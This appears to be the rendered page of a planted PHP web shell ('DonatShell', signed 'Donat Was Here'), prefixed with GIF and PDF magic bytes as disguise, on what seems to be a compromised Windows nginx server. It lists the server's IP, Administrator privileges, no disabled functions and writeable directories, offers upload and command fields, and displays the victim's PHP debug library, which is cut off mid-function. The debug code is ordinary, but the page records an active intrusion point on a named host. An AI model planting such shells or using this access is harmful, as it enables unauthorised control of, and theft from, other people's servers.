GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common//functions_debug_d.phpinc
<?
// /common/functions_debug.phpinc
// Contains the debug functions that can track your program as it includes other files or calls functions.
// These functions can also track or display variable values or text messages.

/** /
if ( $GLOBALS['TRACK'] && $GLOBALS['debuggingAvailable'] ) { // Start this file TRACKing. Use this code when the function t_Begin is unavailable.
  // Start file <li>.
  $_SESSION['TRACK']['indent'] += 1; $_SESSION['TRACK']['data'] .= t_Indent()."<li>";
  // TRACK file begin.
  $_SESSION['TRACK']['data'] .= "<b>".basename(__FILE__)."</b>:".__LINE__.'<span class="d_s_fp"> ('.__FILE__.') (included by '.$backtrace['0']['file'].":".$backtrace['0']['line'].")</span>\n";
  // Start <ol>.
  $_SESSION['TRACK']['ol'] += 1; $_SESSION['TRACK']['indent'] += 1; $_SESSION['TRACK']['data'] .= t_Indent().'<ol class="d_s_op">'."\n";
}
/**/

#$DEBUG_functions_debug = true; // ********** Uncomment this line to debug the debug functions.
if ( !isset($DEBUG_functions_debug) ) $DEBUG_functions_debug = false;

// ********** BEGIN DOCUMENTATION SECTION **********

// For *.php pages:    TRACKing is started by including the application.phpinc file. It is ended by including the pageFooter.phpinc file.
// For *.phpinc files: TRACKing is started by calling the t_Begin function. It is ended by calling the t_End function.
// For functions:      TRACKing is started by calling the t_FuncBegin function. It is ended by calling the t_FuncEnd function.
//                     To TRACK the function call and return value use t_FuncEnd($funcResult) just before the return statement.

// Functions:
// d_End() ........................... End the page by turning on $GLOBALS['DEBUG']['codePage'] and calling pageFooter.phpinc.
// d_Line($lineText, $flagList) ...... Displays the $lineText as well as the current filename and line. $GLOBALS['DEBUG']['codePage'] or $_SESSION['DEBUG']['codeSite'] must be true.
// d_Off($type) ...................... Turn off type debugging code for this page.
// d_On($type) ....................... Sets $DEBUG['codePage'] or $DEBUG['sqlPage'] to true.
// d_V($fIndex, $flagList) ........... Performs d_Var() for $f array with array index [$fIndex]. See d_Var().
// d_Var($varName, $var, $flagList) .. Displays the value of a variable, array, or result with the calling file and line number. $GLOBALS['DEBUG']['codePage'] or $_SESSION['DEBUG']['codeSite'] must be true.
// t_Begin($codePage) ................ Begin tracking for this include file. Should be at the beginning of every .phpinc file. Set $codePage = true to debug this page.
// t_End() ........................... End tracking for this include file. Should be at the end of every .phpinc file.
// t_Func($funcResult) ............... Track a function and return value. Call just before the return statement.
// t_FuncBegin() ..................... Begin tracking a function call. This works like t_Begin() but for functions.
// t_FuncEnd() ....................... End tracking a function call. This works like t_End() but for functions.
// t_Line($lineText, $flagList) ...... Track the $lineText as well as the current filename and line.
// t_Var($varName, $var, $flagList) .. Track the value of a variable, array, or result with the calling file and line number.

// You must link in the debug.css style sheet to ensure debuging and TRACKing information is displayed properly.

// ********** END DOCUMENTATION SECTION **********

// d_End()
// End the page by turning on $GLOBALS['DEBUG']['codePage'] and calling pageFooter.phpinc.
function d_End() {
  $GLOBALS['DEBUG']['codePage'] = true;
  #pageFooter();
	require('common/pageFooter.phpinc');
}

// d_Line($lineText, $flagList, $backtrace)
// Displays the $lineText as well as the current filename and line.
// $lineText = The text to display.
// $flagList = A string with display flags. See d_Var().
function d_Line($lineText='', $flagList='', $backtrace=false, $forceDisplay=false) {
  if ( $GLOBALS['DEBUG']['codePage'] || $_SESSION['DEBUG']['codeSite'] || $forceDisplay ) {
    if ( !$backtrace ) $backtrace = debug_backtrace(); // Get caller information.
    d_Var('',$lineText,$flagList.'n"',$backtrace,$forceDisplay); // Call d_Var with n (Do not show the variable name).
	}
}

// d_O($type)
// Return true if DEBUGging is on for $type.
// $type = Type of debugging to check. Default is 'code'.
//         code = code debugging.
//         foot = footer dubugging.
//         head = header('Location') dubugging.
//         lock = TRACK locking dubugging.
//       memory = memory dubugging.
//        mysql = MySQL dubugging.
function d_O($type='code') {
  if ( $GLOBALS['DEBUG'][$type.'Page'] || $_SESSION['DEBUG'][$type.'Site'] ) {
		return true;
	} else {
		return false;
	}
}

// d_Off($type)
// Turn off type debugging code for this page.
// $type = Type of debugging page to turn off. Default is 'code'. See d_On().
//     
function d_Off($type='code') {
  d__on_off($type, false, debug_backtrace());
}

// d_On($type)
// Turn on type debugging code for this page.
// $type = Type of debugging page to turn on. Default is 'code'.
//         code = code debugging.
//         foot = footer dubugging.
//         head = header('Location') dubugging.
//         lick = TRACK locking dubugging.
//          mem = memory dubugging.
//          sql = MySQL dubugging.
function d_On($type='code') {
  d__on_off($type, true, debug_backtrace());
}

// d_Status()
// Shows debug status.
function d_Status($forceDisplay=false) {
  $backtrace = debug_backtrace();
	d_Line('d_Status()','/',$backtrace,$forceDisplay);
  d_Var("\$DEBUG['codePage']",$GLOBALS['DEBUG']['codePage'],'f',$backtrace,$forceDisplay);
  d_Var("\$DEBUG['footPage']",$GLOBALS['DEBUG']['footPage'],'f',$backtrace,$forceDisplay);
  d_Var("\$DEBUG['headPage']",$GLOBALS['DEBUG']['headPage'],'f',$backtrace,$forceDisplay);
  d_Var("\$DEBUG['lockPage']",$GLOBALS['DEBUG']['lockPage'],'f',$backtrace,$forceDisplay);
  d_Var("\$DEBUG['memoryPage']",$GLOBALS['DEBUG']['memoryPage'],'f',$backtrace,$forceDisplay);
  d_Var("\$DEBUG['mysqlPage']",$GLOBALS['DEBUG']['mysqlPage'],'f',$backtrace,$forceDisplay);
  d_Var("\$_SESSION['DEBUG']['codeSite']",$_SESSION['DEBUG']['codeSite'],'f',$backtrace,$forceDisplay);
  d_Var("\$_SESSION['DEBUG']['footSite']",$_SESSION['DEBUG']['footSite'],'f',$backtrace,$forceDisplay);
  d_Var("\$_SESSION['DEBUG']['headSite']",$_SESSION['DEBUG']['headSite'],'f',$backtrace,$forceDisplay);
  d_Var("\$_SESSION['DEBUG']['lockSite']",$_SESSION['DEBUG']['lockSite'],'f',$backtrace,$forceDisplay);
  d_Var("\$_SESSION['DEBUG']['memorySite']",$_SESSION['DEBUG']['memorySite'],'f',$backtrace,$forceDisplay);
  d_Var("\$_SESSION['DEBUG']['mysqlSite']",$_SESSION['DEBUG']['mysqlSite'],'f',$backtrace,$forceDisplay);
	d_Line('','f',$backtrace,$forceDisplay);
}

// d_V($fIndex, $flagList, $backtrace, $forceDisplay)
// Performs d_Var() for $f array with array index [$fIndex].
//   $fIndex = The $f array index.
// $flagList = A string with display flags. See d_Var().
function d_V($fIndex=false, $flagList='', $backtrace=false, $forceDisplay=false) {
  if ( $GLOBALS['DEBUG']['codePage'] || $_SESSION['DEBUG']['codeSite'] || $forceDisplay ) {
    if ( !$backtrace ) $backtrace = debug_backtrace();
    if ( $fIndex !== false ) {
      if ( !is_numeric($fIndex) ) {
        $varName = "\$f['$fIndex']";
      } else {
        $varName = "\$f[$fIndex]";
      }
      @d_Var($varName, $GLOBALS['f'][$fIndex], $flagList, $backtrace, $forceDisplay);
    } else {
      d_Var('$f', $GLOBALS['f'], $flagList, $backtrace, $forceDisplay);
    }
  }
}

// d_Var($varName, $var, $flagList, $backtrace, $forceDisplay)
// Displays and tracks the value of a variable or array with the calling file and line number.
//  $varName = The name of the variable.
//      $var = The variable.
// $flagList = A string with display flags.
//             " = Do not show string variable value's within single quotes.
//             + = Show array or query in expanded view.
//             - = Do not display output, just return it.
//             / = Show <br> tag before output.
//             a = Display name as attention = .d_s_a.
//             A = Display value as attention = .d_s_a.
//             b = Display name as bold = .d_s_b.
//             c = Display value as color in hex.
//             d = Force display.
//             e = Display value as error = .d_s_e.
//             l = Do not show calling filename and line. Sets $flag['f'].
//             h = Do not make value htmlSafe().
//             i = Display value as info = .d_s_i.
//             k = Do not ksorti arrays.
//             n = Do not show the variable name.
//             o = Display value as bold = .d_s_b.
//             p = Show passwords. Othwewise keys with 'password' or 'pw' in the key name are replaced with ********.
//             q = Display value as query = .d_s_q.
//             t = Display the output in TRACKing. Use with - to TRACK only.
//             v = Do not show the variable value.
//             w = Display value as warn = .d_s_w.
// $forceDisplay = Display output no matter the $DEBUG setting.
//             Examples: '/p' Show a br before output, show passwords, and show calling filename and line.
//                        'ef' Show varName using class="d_s_e" without showing calling filename and line.
function d_Var($varName, $var='', $flagList='', $backtrace=false, $forceDisplay=false) {
  if ( stripos($flagList,'d') !== false ) $forceDisplay = true;
  #if ( isset($GLOBALS['test_d_Var']) ) echo __LINE__." d_Var(\$varName='".$varName."', \$var, \$flagList='".$flagList."')<br>";
  #if ( $GLOBALS['DEBUG']['codePage']) { echo "\$GLOBALS['DEBUG']['codePage'] is true<br>\n"; } else { echo "\$GLOBALS['DEBUG']['codePage'] is false<br>\n"; };
  #if ( $_SESSION['DEBUG']['codeSite']) { echo "\$_SESSION['DEBUG']['codeSite'] is true<br>\n"; } else { echo "\$_SESSION['DEBUG']['codeSite'] is false<br>\n"; };
  $flag = array();
  // " = Do not show string variable value's within single quotes.
  $flag['-'] = (stripos($flagList,"-") !== false ? '-' : false);
  #echo "\$flagList == '".$flagList."' \$flag['-'] =="; if ( $flag['-'] ) { echo " '".$flag['-']."'"; } else { echo '= false'; } echo "<br>\n";
  if ( $GLOBALS['DEBUG']['codePage'] || $_SESSION['DEBUG']['codeSite'] || $flag['-'] || $forceDisplay ) {
    $output = '';
    if ( !$backtrace ) $backtrace = debug_backtrace();
    // Parse flagList.
    // " = Do not show string variable value's within single quotes.
    if ( stripos($flagList,'"') !== false ) { $flag['"'] = '"'; $flag['_q'] = ""; } else { $flag['"'] = ''; $flag['_q'] = "'"; }
    // + = Show array or query in expanded view.
    if ( stripos($flagList,'+') !== false ) { $flag['+'] = '+'; $flag['_p'] = 'd_s_h d_s_l'; $flag['_p_'] = 'd_s_l'; } else { $flag['+'] = ''; $flag['_p'] = 'd_s_l'; $flag['_p_'] = 'd_s_h d_s_l'; }
    // - = Do not display output, just return it.
    $flag['-'] = (stripos($flagList,"-") !== false ? '-' : false);
    // . = Do not display the first array name (used by d_DivVar).
    if ( stripos($flagList,'.') !== false ) { $flag['.'] = '.'; $flag['_.'] = true; } else { $flag['.'] = ''; $flag['_.'] = false; }
    // / = Show <br> tag before output.
    #if ( stripos($flagList,'/') !== false ) { $flag['/'] = '/'; $flag['_b'] = "<br>\n"; } else { $flag['/'] = ''; $flag['_b'] = "\n"; }
    if ( stripos($flagList,'/') !== false ) { $flag['/'] = '/'; $flag['_b'] = "<br>"; } else { $flag['/'] = ''; $flag['_b'] = ""; }
    // c = Display value as color in hex.
    $flag['c'] = (stripos($flagList,'c') !== false ? 'c' : false); if ( $flag['c'] ) $flagList .= 'h';
    // f = Do not show calling filename and line.
    $flag['f'] = (stripos($flagList,'l') !== false && !$forceDisplay ? '' : ' <span class="d_s_fl">'.basename($backtrace['0']['file']).':'.$backtrace['0']['line'].'</span> <span class="d_s_fp">('.$backtrace['0']['file'].')</span>');
    // h = Do not make value htmlSafe().
    $flag['h'] = (stripos($flagList,'h') !== false ? 'h' : false);
    // k = Do not ksorti arrays.
    $flag['k'] = (stripos($flagList,'k') !== false ? 'k' : false);
    // t = Do not show the line but add <li></li> tags and add it to the TRACKing data.
    if ( stripos($flagList,'t') !== false ) { $flag['t'] = 't'; $flag['_d'] = ''; $flag['_d_'] = ''; } else { $flag['t'] = ''; $flag['_d'] = '<div class="d_s_il">'; $flag['_d_'] = "</div><br>"; }
    // p = Show passwords. Othwewise keys with 'password' or 'pw' in the key name are replaced with ********.
    $flag['p'] = (stripos($flagList,'p') !== false ? 'p' : false);
    // Setup name class. This may be overrided based on resources or arrays.
    $flag['_np'] = '';
		// a = 
    if ( stripos($flagList,'a') !== false ) $flag['_np'] .= ' d_s_a'; // v = Display the name as attention = .d_s_a.
		// b = 
    if ( stripos($flagList,'b') !== false ) $flag['_np'] .= ' d_s_b'; // v = Display the name as bold = .d_s_b.
		// n = 
    if ( stripos($flagList,'n') !== false ) $flag['_np'] .= ' d_s_h'; // v = Do not show the variable name = .d_s_h.
    // Setup the equals class.
    $flag['_e'] = '';
    if ( stripos($flagList,'n') !== false || stripos($flagList,'v') !== false ) $flag['_e'] = 'd_s_h'; // nv = Do not show the equals = .d_s_h.
    if ( $flag['_e'] ) {
      $flag['_e'] = '<span class="'.$flag['_e'].'">';
      $flag['_e_'] = '</span>';
    } else {
      $flag['_e_'] = '';
    }
    // Setup the value class.
    if ( strpos($flagList,'A') !== false ) {
      // A = 
			$flag['_v'] = ' d_s_a'; // Display value as error = .d_s_e.
    } elseif ( stripos($flagList,'e') !== false ) {
      // e = 
			$flag['_v'] = ' d_s_e'; // Display value as error = .d_s_e.
    } elseif ( stripos($flagList,'w') !== false ) {
      // w = 
			$flag['_v'] = 'd_s_w'; // Display value as warn = .d_s_w.
    } elseif ( stripos($flagList,'i') !== false ) {
      // i = 
			$flag['_v'] = 'd_s_i'; // Display value as info = .d_s_i.
    } else {
      // normal. 
			$flag['_v'] = 'd_s_d'; // Display value as data = .d_s_d. Default.
    }
    if ( stripos($flagList,'o') !== false ) $flag['_v'] .= ' d_s_b';  // Display value as bold = .d_s_b.
    if ( stripos($flagList,'q') !== false ) { $flag['_v'] .= ' d_s_q'; if ( !is_array($var) ) { $var = rtrim(str_replace("\t","  ",$var))."\n"; } }// Display value as query = .d_s_eq.
    if ( stripos($flagList,'v') !== false ) $flag['_v'] .= ' d_s_h'; // Do not show the variable value = .d_s_h.
    if ( $flag['_v'] ) {
      $flag['_v'] = '<span class="'.$flag['_v'].'">';
      $flag['_v_'] = '</span>';
    } else {
      $flag['_v_'] = '';
    }
    if ( !isset($flag['a']) ) $flag['a'] = '';
    if ( !isset($flag['r']) ) $flag['r'] = '';
    // Add newline.
    $output .= d__debug().$flag['_b'].d__debug(''); 
    if ( !is_resource($var) ) {
      // Not resource.
      if ( !is_array($var) && !is_object($var) ) {
        // Not array or object.
        if ( $flag['c'] ) $var = d__var_color($var, $flag);
        $output .= d__debug().$flag['_d'].d__var_line($varName,$var,$flag).d__debug('');
      } else {
        // Is array or object.
        $flag['a'] = 'd_s_an';
        $divId = str_replace(array("$",":"," ","[","]","/","\\","'"),array("","","_","_","_","_","_",""),$varName).'_'.d__uuid(); // Strip any $, ', [ or ] from the varName.
        if ( count($var) ) {
          $outputPart = d__debug().count($var).' element'.d__debug('');
					if( count($var) != 1 )  $outputPart .= 's';
          $output .= d__debug().'<div id="'.$divId.'_collapsed" class="'.$flag['_p'].'">'.'<a href="javascript: divShow(\'BEGIN_'.$divId.'_expanded\'); divHide(\''.$divId.'_collapsed\');">'.d__var_name_class($varName,$flag).'<span class="d_s_an"> ('.$outputPart.') +</span></a>'.$flag['f'].'</div>'."\n".d__debug('');
          $output .= d__debug().'<div id="BEGIN_'.$divId.'_expanded" class="'.$flag['_p_'].'">'.'<a href="javascript: divShow(\''.$divId.'_collapsed\'); divHide(\'BEGIN_'.$divId.'_expanded\');">'.d__var_name_class($varName,$flag).'<span class="d_s_an"> ('.$outputPart.') =</span></a>'.$flag['f']."\n".d__debug('');
          $flag['_d_'] = '</div> <!-- END_'.$divId.'_expanded -->'."\n";
        } else {
          $output .= d__debug().'<div id="'.$divId.'_zero" class="d_s_l">'.''.d__var_name_class($varName,$flag).' <span class="d_s_r">(no elements)</span>'.$flag['f'].d__debug('');
          $flag['_d_'] = '</div>'."\n";
        }
        $flag['_b'] = '';
        $flag['f'] = '';
        $flag['_.'] = false;
        #$output .= d__debug().'d__var_array call '.$varName.'<pre>'.print_r($var,true).'</pre>'.d__debug(''); // DEBUG d_Var.
        $output .= d__debug().d__var_array($varName, $var, $flag).d__debug('');
      }
    } else {
      // Is resource.
      if ( $flag['r'] == '') $flag['r'] = ' class="d_s_r"';
      switch ( get_resource_type($var) ) {
        case 'mysql result':
          $flag['a'] = 'd_s_r';
          $divId = str_replace(array("$",":"," ","[","]","/","\\","'"),array("","","_","_","_","_","_",""),$varName).'_'.d__uuid(); // Strip any $, ', [ or ] from the varName.
          $num_rows = mysqli_num_rows($var);
          if( $num_rows <> 1 ) {
            $outputPart = d__debug().$num_rows.' rows'.d__debug('');
          } else {
            $outputPart = d__debug().'1 row'.d__debug('');
          }
          if ($num_rows) {
            $output .= d__debug().'<div id="'.$divId.'_collapsed" class="'.$flag['_p'].'">'.'<a href="javascript: divShow(\'BEGIN_'.$divId.'_expanded\'); divHide(\''.$divId.'_collapsed\');">'.d__var_name_class($varName,$flag).'<span class="d_s_r"> ('.$outputPart.') +</span></a>'.$flag['f'].'</div>'."\n".d__debug('');
            $output .= d__debug().'<div id="BEGIN_'.$divId.'_expanded" class="'.$flag['_p_'].'">'.'<a href="javascript: divShow(\''.$divId.'_collapsed\'); divHide(\'BEGIN_'.$divId.'_expanded\');">'.d__var_name_class($varName,$flag).'<span class="d_s_r"> ('.$outputPart.') =</span></a>'.$flag['f']."\n".d__debug('');
            $flag['_d_'] = '</div> <!-- END_'.$divId.'_expanded -->'."\n";
          } else {
            $output .= d__debug().'<div id="'.$divId.'_zero" class="d_s_l">'.''.d__var_name_class($varName,$flag).' <span class="d_s_r">(no results)</span>'.$flag['f'].d__debug('');
            $flag['_d_'] = '</div>'."\n";
          }
          $flag['_b'] = '';
          $flag['f'] = '';
          $flag['_.'] = false;
          if ($num_rows) {
            mysqli_data_seek($var, 0);
            $row = mysqli_fetch_assoc($var);
            // Begin the table.
            $output .= d__debug()."<table>\n  <tr>\n".d__debug('');
            // Print the column names as table headers.
            foreach($row as $key=>$value) {
              $output .= d__debug()."    <th>$key</th>".d__debug('');
            }
            $output .= d__debug()."\n  </tr>\n".d__debug('');
            // Loop through the table, printing the field values in table cells.
            mysqli_data_seek($var, 0);
            while ($row = mysqli_fetch_assoc($var)) {
              $output .= d__debug()."  <tr class=\"top\">\n".d__debug('');
              foreach($row as $key=>$value) {
                $output .= d__debug()."    <td>".d__var_value($value,$flag['h'],$flag)."</td>".d__debug('');
              }
              $output .= d__debug()."\n  </tr>\n".d__debug('');
            }
            mysqli_data_seek($var, 0);
            // End the table.
            $output .= d__debug()."</table>\n".d__debug('');
          }
        break;
        default:
          #$output .= d__debug()."<span".$flag['r'].">$varName</span> is resource type ".get_resource_type($var).$flag['f']."\n".d__debug('');
          $output .= d__debug()."<span".$flag['r'].">$varName</span> is resource type ".get_resource_type($var)."\n".d__debug('');
					$flag['f'] ='';
					$flag['_d_'] ='';
        break;
      }
    }
    $output .= d__debug().$flag['f'].$flag['_d_'].d__debug('');
    if ( !$flag['-'] || $forceDisplay ) {
      echo $output."\n";
    }
    if ( $flag['t'] ) {
      if ( $GLOBALS['TRACK'] && isset($_SESSION['TRACK']['data']) ) {
        #$_SESSION['TRACK']['data'] .= '<li>'.$output."</li>\n";
      } else {
        echo d__debug().'<span class="d_s_e">$_SESSION[\'TRACK\'][\'data\'] is unset or NULL.</span>'."<br>\n".$output.d__debug('');
      }
    }
    return $output;
  }
}

// d__var_array($varName, $var, $flag)
// Internal functions_debug only function. Called by d_Var() and d_vararray().
// Display the array.
function d__var_array($varName, $var, $flag) {
  $arrayoutput = '';
  #$arrayoutput .= d__debug().'var_array_begin '.$varName.'<pre>'.print_r($var,true).'</pre>'.d__debug(''); // DEBUG d_Var.
  if ( $flag['a'] != 'd_s_ap' ) $flag['a'] = 'd_s_an';
  #$arrayoutput .= d__debug().'('.print_r($var,true).') '.d__debug(''); // DEBUG d__var_array.
  if ( !$flag['_.'] && $flag['a'] != 'd_s_an' ) {
    $arrayoutput .= d__debug().d__var_name_class($varName.' =',$flag).$flag['f']."<br>\n".d__debug('');
  } else {
    $arrayoutput .= d__debug().'<br>'.d__debug('');
  }
  #$arrayoutput .= d__debug().'('.print_r($var,true).') '.d__debug(''); // DEBUG d_Var.
  $flag['_np'] = str_replace(' d_s_b','',$flag['_np']);
  if ( $flag['a'] == 'd_s_an' ) $flag['a'] = 'd_s_ap';
  if ( !$flag['k']  ) $var = d__ksorti($var);
  #$arrayoutput .= d__debug().'('.print_r($var,true).') '.d__debug(''); // DEBUG d_Var.
  foreach ($var as $varKey => $varValue) {
    if ( !is_array($varValue) ) {
      $flag['a'] = 'd_s_as';
      if ( $flag['c'] ) $varValue = d__var_color($varValue, $flag);
      $arrayoutput .= d__debug().' &nbsp; '.d__var_line($varName."[".d__var_quote($varKey)."]", $varValue, $flag).d__debug(''); // With indent.
      #$arrayoutput .= d__debug().d__var_line($varName."[".d__var_quote($varKey)."]", $varValue, $flag).d__debug(''); // Without indent
      $arrayoutput .= d__debug()."<br>\n".d__debug('');
    } else {
      $flag['f'] = '';
      $flag['a'] = 'd_s_ap';
      #$arrayoutput .= d__debug().'var_array_call '.$varKey.'<pre>'.print_r($varValue,true).'</pre>'.d__debug(''); // DEBUG d_Var.
      $arrayoutput .= d__debug().d__var_array(' &nbsp; '.$varName."[".d__var_quote($varKey)."]", $varValue, $flag).d__debug(''); // With indent.
      #$arrayoutput .= d__debug().d__var_array($varName."[".d__var_quote($varKey)."]", $varValue, $flag).d__debug(''); // Without indent.
    }
  }
  return $arrayoutput;
}

// d__debug()
// Internal functions_debug only function. Called by d_Var(), d_vararray(), d_varline(), and d__var_name_class().
// TRACKs which __LINE__ generated output when $DEBUG_functions_debug = true.
function d__debug($d_debugSuffix=':') {
  if ( !$GLOBALS['DEBUG_functions_debug'] ) {
    return '';
  } else {
    $d_debug = debug_backtrace();
		if ( $d_debugSuffix ) {
			$d__debug = "\n".'<span class="d_s_i">{'.$d_debug[0]['line'].":</span>\n";
		} else {
			$d__debug = "\n".'<span class="d_s_i">:'.$d_debug[0]['line']."}</span>\n";
		}
		return $d__debug;
  }
}

// d__ksorti($array)
// Internal functions_debug only function. Called by d__var_array() and pageFooter_debug.
// Sort an associative array.
// $array = The array to sort.
function d__ksorti($array) {
  #echo 'd__ksorti($array):'.__LINE__.' <pre>'.print_r($array,true)."</pre>\n"; // DEBUG d__ksorti.
  if ( is_array($array) ) {
    $keys = array_keys($array);
    #echo '$keys:'.__LINE__.' <pre>'.print_r($keys,true)."</pre>\n"; // DEBUG d__ksorti.
    $array2 = array();
    foreach($keys as $key) {
      if ( !is_numeric($key) ) {
        $array2[strtolower($key).'_|_'.$key] = NULL;
      } else {
        $array2[twoDigit($key,5).'_|_'.$key] = NULL;
      }
    }
    #echo '$array2:'.__LINE__.' <pre>'.print_r($array2,true)."</pre>\n"; // DEBUG d__ksorti.
    #if ( $is_numeric ) {
      ksort($array2);
    #} else {
    #  asort($array2, SORT_LOCALE_STRING);
    #}
    #echo '$array2:'.__LINE__.' <pre>'.print_r($array2,true)."</pre>\n"; // DEBUG d__ksorti.
    $array3 = array();
    foreach($array2 as $key => $subkey) {
      $splitKeys = explode('_|_',$key);
      #print_r($splitKeys); exit;
      $array3[$splitKeys[1]] = $array[$splitKeys[1]];
    }
    #echo '$array3:'.__LINE__.' <pre>'.print_r($array3,true)."</pre>\n"; // DEBUG d__ksorti.
    return $array3;
  } else {
    return $array;
  }
}

// d__on_off($type, $value, $backtrace)
// Internal functions_debug only function. Called by d_Off() or d_On().
function d__on_off($type, $value, $backtrace=false) {
  if ( !$backtrace ) $backtrace = debug_backtrace();  // Get caller information if not sent by d_Off or d_On().
	#d_Var("\$GLOBALS['DEBUG']",$GLOBALS['DEBUG'],'',false,true);
  switch (strtolower($type)) {
    case 'code':
    case 'foot':
    case 'head':
    case 'lock':
    case 'memo':
    case 'sqlo':
      $DEBUGFlagOK = true;
      if ( !isset($GLOBALS['DEBUG']['set']) ) {
				$GLOBALS['DEBUG']['set']['Type'] = array();
				$GLOBALS['DEBUG']['set']['State'] = array();
				$GLOBALS['DEBUG']['set']['File'] = array();
				$GLOBALS['DEBUG']['set']['Line'] = array();
			}
      $GLOBALS['DEBUG']['set']['Type'][] = $type.'Page';
      $GLOBALS['DEBUG']['set']['State'][] = $value;
      $GLOBALS['DEBUG']['set']['File'][] = $backtrace['0']['file'];
      $GLOBALS['DEBUG']['set']['Line'][] = $backtrace['0']['line'];
      $GLOBALS['DEBUG'][$type.'Page'] = $value;  // Set debug code for this page.
      if ( $GLOBALS['DEBUG'][$type.'Page'] ) {
        //t_Line('<span class="d_s_vt">Debug '.$type.'Page turned on</span>','h',$backtrace);
      } else {
        //t_Line('<span class="d_s_vf">Debug '.$type.'Page turned off</span>','h',$backtrace);
      }
    break;
    default:
      $DEBUGFlagOK = false;
    break;
  }
  if ( $DEBUGFlagOK ) {
    //t_Func($type,false,debug_backtrace());
  } else {
    t_Func('Bad call to '.__FUNCTION__.' made.');
  }
	#d_Var("\$GLOBALS['DEBUG']",$GLOBALS['DEBUG'],'',false,true);
}

// d__uuid()
// Internal functions_debug only function. Called by d_Var().
// Generate a uuid for debug functions.
function d__uuid() {
  $d__uuid = md5(getmypid().uniqid(rand()).$_SERVER['SERVER_NAME']);
  return $d__uuid;
}

// d__var_color($varValue, $flag)
// Internal functions_debug only function. Called by d_Var() and d_vararray().
// Returns $varValue in a div with the background color set to varValue.
function d__var_color($varValue, $flag) {
  if ( substr($varValue,0,1) == '#' ) {
    $varValueHex = substr($varValue,1);
  } elseif ( ( strlen($varValue) != 6 || ( strlen($varValue) == 6 && substr($varValue,0,1) != '0' ) ) && is_numeric($varValue) ) { 
    $varValueHex = $varValue+0;
    $varValueHex = twoDigit(dechex($varValueHex),6);
  } else {
    $varValueHex = $varValue;
  }
  if ( hexdec(substr($varValueHex,0,2)) + hexdec(substr($varValueHex,2,2)) + hexdec(substr($varValueHex,4,2)) > 380 ) {
    $d__var_color = '<div class="d_s_cb" style="background-color:#'.$varValueHex.';">'.$varValueHex.' '.$varValue;
  } else {
    $d__var_color = '<div class="d_s_cw" style="background-color:#'.$varValueHex.';">'.$varValueHex.' '.$varValue;
  }
  $d__var_color .= '</div>';
  $GLOBALS['flag']['h'] = 'h'; // h = Do not make value htmlSafe().
  return $d__var_color;
}

// d__var_line($varName,$var,$flag)
// Internal functions_debug only function. Called by d_Var() and d_vararray().
// Display variable value line.
function d__var_line($varName,$var,$flag) {
  $DEBUG_d__var_line = false;
  // Begin with the name.
  $varoutput = d__debug().d__var_name_class($varName,$flag).d__debug('');
  if ( isset($var) ) {
    // Add the equals.
    if ( $var === true || $var === false ) {
      $flag['e'] = '===';
    } else {
      $flag['e'] = '==';
    }
    $varoutput .= d__debug().$flag['_e'].' '.$flag['e'].' '.$flag['_e_'].d__debug('');
    // Add the value.
    if ( !$flag['p'] && ( strlen(stristr($varName,'password')) || strlen(strstr($varName,'PW')) || strlen(strstr($varName,'pw')) ) ) $var = '***hidden***'; // Hide password value.
    $varoutput .= d__debug().$flag['_v'].d__var_value($var,$flag['h'],$flag).' '.$flag['_v_'].d__debug('');
  } else {
    // Check for variable wirh array_key_exists90.
    $varLabel = str_replace("$","",$varName); // $varLabel now holds the name of the passed variable (without $).
    if ( $DEBUG_d__var_line )echo("The variable name is: ".'<span class="info">'.$varName.'</span><br>');
    if ( $DEBUG_d__var_line )echo("The variable label is: ".'<span class="info">'.$varLabel.'</span><br>');
    // Cannot distinguish NULL from !isset() so we have to check $GLOBALS to see if the variable exists.
    if ( strpos($varLabel,'[') === false ) {
      // Not an array so a simple array_key_exists() check works.
      if ( array_key_exists($varLabel,$GLOBALS) ) {
        if ( $DEBUG_d__var_line ) { echo '<span class="info">Set at line:'.__LINE__.'</span><br>'; }
        $isNULL = true;
      } else {
        if ( $DEBUG_d__var_line ) { echo '<span class="info">Set at line:'.__LINE__.'</span><br>'; }
        $isNULL = false;
      }
    } else {
      // The variable is an array so we have to break it down to test for NULL.
      $varArray = explode("[",str_replace(array("]","'"),"",$varLabel));
      /**/
      $isNULL = false;
      switch ( count($varArray) ) {
        case 2:
          #d_Var("\$GLOBALS[$varArray[0]]",$GLOBALS[$varArray[0]]);
          if ( $DEBUG_d__var_line ) { echo '<span class="info">Set at line:'.__LINE__.'</span><br>'; }
          if ( array_key_exists($varArray[0],$GLOBALS)
            && array_key_exists($varArray[1],$GLOBALS[$varArray[0]]) )
          $isNULL = true;;
        break;
        case 3:
          if ( $DEBUG_d__var_line ) { echo '<span class="info">Set at line:'.__LINE__.'</span><br>'; }
          if ( array_key_exists($varArray[0],$GLOBALS)
            && array_key_exists($varArray[1],$GLOBALS[$varArray[0]])
            && array_key_exists($varArray[2],$GLOBALS[$varArray[0]][$varArray[1]]) )
          $isNULL = true;;
        break;
        case 4:
          if ( $DEBUG_d__var_line ) { echo '<span class="info">Set at line:'.__LINE__.'</span><br>'; }
          if ( $DEBUG_d__var_line ) { echo '<span class="info">Set at line:'.__LINE__.'</span><br>'; }
          if ( array_key_exists($varArray[0],$GLOBALS)
            && array_key_exists($varArray[1],$GLOBALS[$varArray[0]])
            && array_key_exists($varArray[2],$GLOBALS[$varArray[0]][$varArray[1]])
            && array_key_exists($varArray[3],$GLOBALS[$varArray[0]][$varArray[1]][$varArray[2]]) )
          $isNULL = true;;
        break;
        case 5:
          if ( $DEBUG_d__var_line ) { echo '<span class="info">Set at line:'.__LINE__.'</span><br>'; }
          if ( array_key_exists($varArray[0],$GLOBALS)
            && array_key_exists($varArray[1],$GLOBALS[$varArray[0]])
            && array_key_exists($varArray[2],$GLOBALS[$varArray[0]][$varArray[1]])
